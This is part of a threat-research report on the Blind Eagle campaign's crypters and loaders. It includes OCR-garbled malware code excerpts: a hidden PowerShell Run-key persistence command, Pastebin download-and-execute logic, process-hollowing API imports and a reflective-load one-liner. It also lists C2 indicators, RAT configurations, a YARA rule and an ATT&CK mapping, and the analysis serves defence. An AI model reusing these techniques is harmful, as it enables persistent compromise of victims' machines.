38	<pre>usfuz = qufuz &amp; (").replace('boOnjN',') &amp; ZBIEF &amp; (").powershell = Command SimBFy")</pre>
39 40	oall Briff (pilos )

Figure 36: VBS file UpCrypter

At the time of writing this report, the URL that serves additional payloads for the UpCry crypter is down (hxxps://ia903401.us.archive[.]org/28/items/dll\_20210416\_20210416\_2051/Dll.txt).

The execution pattern for the UpCrypter is similar to FuckCrypt: hxxps://pastebin[.]com/raw/vwbv5PXc > hxxps://wtools[.]io/code/dl/bOID.

The initial binary is responsible for setting up persistence mechanisms and writing files to the disk (similar to FuckCrypt), the registry run key value name is hardcoded as "NetwrixParam". The binary then proceeds with retrieving the payload responsible for persistence, and the second binary, which is obfuscated with .NET Reactor, is responsible for process hollowing, this is a part of the RunPE feature of the crypter (Figure 38).

Class1 ×		
17	<pre>string text = Path.GetTempPath() + "\\LWemP.psl";</pre>	
18		
20	if (Conversions.ToBoolean(MAKb)))	
21		
22	string text2 = "New-ItemProperty -Path ("HKUU:\\SOFTWAR()VHicrosoft\Windows\(CurrentVersion\Vaun\" -Name ("Netw=1xParam\" -Value ("Powershell.exe -WindowStyle hidden -executionpolicy bypass '\% '' + text + '' \\' -PropertyType ("Str	
23	File_dwiteAllText(tempPath + "\\\2,opi", text2):	
24	Interaction.Shell("powershell -ExecutionPolicy Bypass -file " + tempPath + "\\x2.psl", AppWinStyle.Hide, false, -1);	
25	Interaction.Shell("cmd.exe /c ping 127.0.0.1 & del \"" + LXGMM + "\"", AppWinStyle.Hide, false, -1);	
27		
28		
29		
51		
32		
55	ServiceOunDUmager_SecurityProtocol = SecurityProtocolType.fis12;	
15	string texts = string. (maty	
36		
37		
38	<pre>text3 = webClient.lownlowString(webClient.lownlowString(Class1.smethod_@("PADSft72/war/moc.nibetsap//isptth")).Trim());</pre>	
39	text) = text3.xeplace( A, 4:4); tring texts = ""	
41	if (text5.ToLower().Contains("pastebin".ToLower())))	
42		
43	text4 = Class1.smethod_@(webClient.DownloadString(webClient.DownloadString(text5)));	
45		
46		
47	<pre>text4 = Class1.smethod_@(webClient.DownloadString(text5));</pre>	
49		
50		
51	<pre>string text6 - string.Empty;</pre>	
52	<pre>webLinet webLinet(); webCinetServies = NewWebLinet(); webCinetServies = NewVebLinet();</pre>	
54	text6 = webClient2.DownloadString(new_Uri(Class1.smethod 8("Taijzkoh/war/moc.nibetsap//:sotth"))):	
55		
56		
57	File Articlet(Ret, texts, incoding.unicode): Tetransfile Rell(Computed) av Securiteded (or Memore office + text dealership wide false +1);	
59	Interaction.smell( powersmell.exe *ixecution/pilly bypass *ile * text, appairstyle.nice, *als;	
60		
62		

Figure 37: Initial binary pulled from Pastebin

Class1 X	
13	[SuppressionsanagedCodeSecurity]
	[Dllmport("kernel52.dll", CharSet = CharSet.Unicode)]
	private static extern bool CreateProcess(string string 5, string string 5, intPr intptr 9, intPir intptr 1, bool bool 9, unit wint 9, intPir 2, string string 2, ref Classi.Structi structi 9, ref Classi.Structi structi 9);
	// Taken: #w86800038 KID: 56
	[Supersubanaphi.defecustv]
	[D]][mort/[%mmel32.d]][1]
	private static extern bool <u>detThreadContext([ctPtr intptr 0, int[] int_0);</u>
	// Takan- 0x04000035 ET0- 57
	[Surges a simple and Cold Security]
	(D) Import ("Import ("Import 22, d)]")
	private static extern bool HowEdDetThreadContext(intPtr intptr 0, int[] int 0);
	// 104/8/1 00/00/00/06 R.[D] 5/6
	[suppress/managed.opeset/articl
	[childport] Astronomy and Astronomy Control of Astr
	harde statte even not seturentenetering and a full me all
	// Token: 0x05000015 RID: 59
	[SuppressUmmanagedCodeSecurity]
	(OllImport("kermal52.dll"))
	private static extern bool Wood/SetThreadContext(intPtr intptr 0, int() int 0);
	27 Tolena (0.00000007 870) 60
	[Superscipanaed]defscur[ty]
	[0] [most ["Benet R. d]]"]
	private static extern bool ReadProcessRemory(IntPtr intptr_0, int int_0, ref int int_1, int int_2);
	// Token: BuddabbealD RID: 41
	SuppressionangedCodeSecurity
	[pineport(serveits:ai)]
	private static extern bool ariterrocessembry("court intptr_0, but int_0, byte   byte(0, but int_2);
	// Token: 0x0600003E kID: 62
	[SurpressilmanagedCodeSecurity]
	[011mport("std11.d11")]
	private static extern int MUnnequiendFSection(intPtr intptr 0, int int_0);
	// Tokan: 0.00000007 810: 45
	[Surprise] Images and Cold Server (+).]
	(a) Import ("hereal 32, 411")
	private static extern int Virtual/Allocts(inter intpr. 0, int int 3, int int 3, int int 3);
	12 Public Addition Alton Al
	// loken www.energena.k.g
	1935 Control C

Figure 38: APIs indicating process hollowing

Then the third retrieved PowerShell one-liner is responsible for invoking the final payload.

\$dZri = '%nOArBo%';[Byte[]] \$AZUX = [System.Convert]::FromBase64String( \$dZri.replace('::(','A') );[System.AppDomain]:: CurrentDomain.Load(\$AZUX).GetType('ClassLibraryl.Classl').GetMethod('WAMf').Invoke(\$null, [object[]] (''))

### How eSentire is Responding

The eSentire Threat Response Unit (TRU) combines threat intelligence gained from research and security incidents to create practical outcomes for our customers. We are taking a comprehensive response approach to combat modern cybersecurity threats by deploying countermeasures, such as:

- · Performing global threat hunts for indicators associated with Blind Eagle.
- Implementing threat detections and BlueSteel, our machine-learning powered PowerShell classifier, to identify
  malicious command execution and exploitation attempts and ensure that eSentire has visibility and detections
  are in place across eSentire MDR for Endpoint and MDR for Network.
- Implementing threat detections to identify malicious command execution and ensure that eSentire has visibility and detections are in place across eSentire MDR for Endpoint.

Our detection content is supported by investigation runbooks, ensuring our 24/7 SOC Cyber Analysts respond rapidly to any intrusion attempts related to known malware Tactics, Techniques, and Procedures. In addition, TRU closely monitors the threat landscape, constantly addresses capability gaps, and conducts retroactive threat hunts to assess customer impact.

# **Recommendations from eSentire's Threat Response Unit (TRU)**

We recommend implementing the following controls to help secure your organization against Blind Eagle:

- · Confirm that all devices are protected with Endpoint Detection and Response (EDR) solutions.
- Implement a Phishing and Security Awareness Training (PSAT) program that educates and informs your
  employees on emerging threats in the threat landscape.

While the TTPs used by threat actor(s) grow in sophistication, they lead to a certain level of difficulties at which critical business decisions must be made. Preventing the various attack technique and tactics utilized by the modern threat actor requires actively monitoring the threat landscape, developing and deploying endpoint detections, and the ability to investigate logs & network data during active intrusions.

eSentire TRU is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.

To learn what it means to have an elite team of Threat Hunters and researchers that works for you, connect with an eSentire Security Specialist now.

## Yara Rule

```
rule Ande_Loader {
    meta:
        author = "eSentire TI"
        description = "Ande_Loader"
        date = "7/3/2023"
    strings:
        $$1 = {37 39 31 37 32 42 31 33 2d 45 44 42 41 2d 34 30 39 36 2d 42 37 32 35 2d
38 45 39 32 42 37 33 30 42 32 42 41}
        $$2 = {56 41 49}
        $$3 = {6F 25 00 00 0A}
        $$$3 = {6F 25 00 00 0A}
        $$$4 = {28 ?? 00 00 0A}
        condition:
        all of ($$*)
```

}

### Indicators of Compromise

Name Indicators	
Ande Loader 48b6064beec68	37fc110145cf7a19640d
Ande Loader b8f878d1ee6a1	18f9eee4cf111193f53
Ande Loader 4c30ea433832f	b13b5d7637d3b13bead
Ande Loader 2a59f2a51b96d	19364e10182a063d9bec
Ande Loader 99d3b2eb5987	75d41b18d57a9d1dc9ee
Ande Loader 97c880a2514a9	9faaaa327e745a4c5c5c

Ande Loader	9e447f721d859407da88a8e6992e4aa0
Ande Loader	2885d0ab293d957f2a237a64f956d61a
Ande Loader	64b690d32216049b199234c5fc092e6f
Ande Loader	1a321713876f764543d75859a4727b9a
Ande Loader	a5da69e6c72a8759297415a0e30cbea8
Ande Loader	bcb0ed502a8275a23a9d627f319cb610
Ande Loader	6ecd3d6c93cec7e7133afd691c2c2225
Ande Loader	e14efed36bb6870d65277776281dc3b3
Ande Loader	fb4c1a0a6d525af1e3778e9e9ee48c7d
Ande Loader	2e30e9db2016f9cb67d0f5ec4ca3d0a3
Ande Loader	6f62e2abb7558c83f2a4d3edefa05c7f
Ande Loader	ffcbdcec38e077448a87f5546dada7bd
Ande Loader	ac2940e6619dbc4dbb1a096f657dd346
UpCry	e3962d6ecd509dcb7669b8df6dbb5c76
FuckCrypt	a2994443fac8cf94f497dcf204ab818e
Vbs-Crypter Simples.exe	0b9cc70477af81a3fc8a5d335162f96d
FuckCrypt	b167a0bc7b097550a89a5ba4cb258592
Vbs-Crypter.exe	191d5bf5d3ab54549d436399bcab642d
Remcos RAT	137f21d1f8fdd5cfe86637368b526027
NjRAT	7b72f2775b7bf33c9778533480d34e04
VBS	917392f4b75c0b5f19839c2da1af2d37
VBS	76250bc5ea0235a90bc153e0d7262349
C2 (RemcosRAT)	rxms.duckdns[.]org:57832
C2 (NjRAT)	njnjnjs[.]duckdns.org
C2 (opendir)	91.213.50[.]74

#### **Extracted Remcos Configuration:**

```
rxms.duckdns[.]org:57832:1||RemoteHost||1|| |||||1|||| ||8||r e m c o s . e x e ||R
e m c o s ||||0||Rmc-YYR00A||1||8||1 o g s . d a t || || || 10|| ||
||5||6||Screenshots|| || || || || || || || || ||5|||MicRecords|| ||0||0|| || ||10000||
||1||R e m c o s ||r e m c o s || || ||FF7378C2D2969BB7BFD41F14D42772D3||
||100000||
```

### NjRAT Configuration:

```
host = "njnjnjs[.]duckdns.org";
port = "35888";
registryName = "6515f0beea";
splitter = "@!#&^%$";
victimName = "T1lBTiBDQVQ=";
version = "0.7NC";
stubMutex = null;
currentAssemblyFileInfo = new FileInfo(Application.ExecutablePath);
keylogger = null;
isConnected = false;
tcpSocket = null;
lastCapturedImage = "";
currentPlugin = null;
```

# References

# **MITRE ATT&CK**

MITRE ATT&CK Tactic	ID	MITRE ATT&CK Technique	Description
Initial Access	T1566	Phishing	Blind Eagle is delivered via a phishing email containing the link to retrieve the password-protected archive.
User Execution	T1204.002	Malicious File	The user launches the malicious VBS file
Persistence	T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	Persistence is achieved via the Registry Run Keys / Startup folder
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	The VBS script spawns PowerShell to execute Ande Loader
Defense Evasion, Privilege Escalation	T1055.012	Process Injection: Process Hollowing	Blind Eagle is using process hollowing to inject the final payload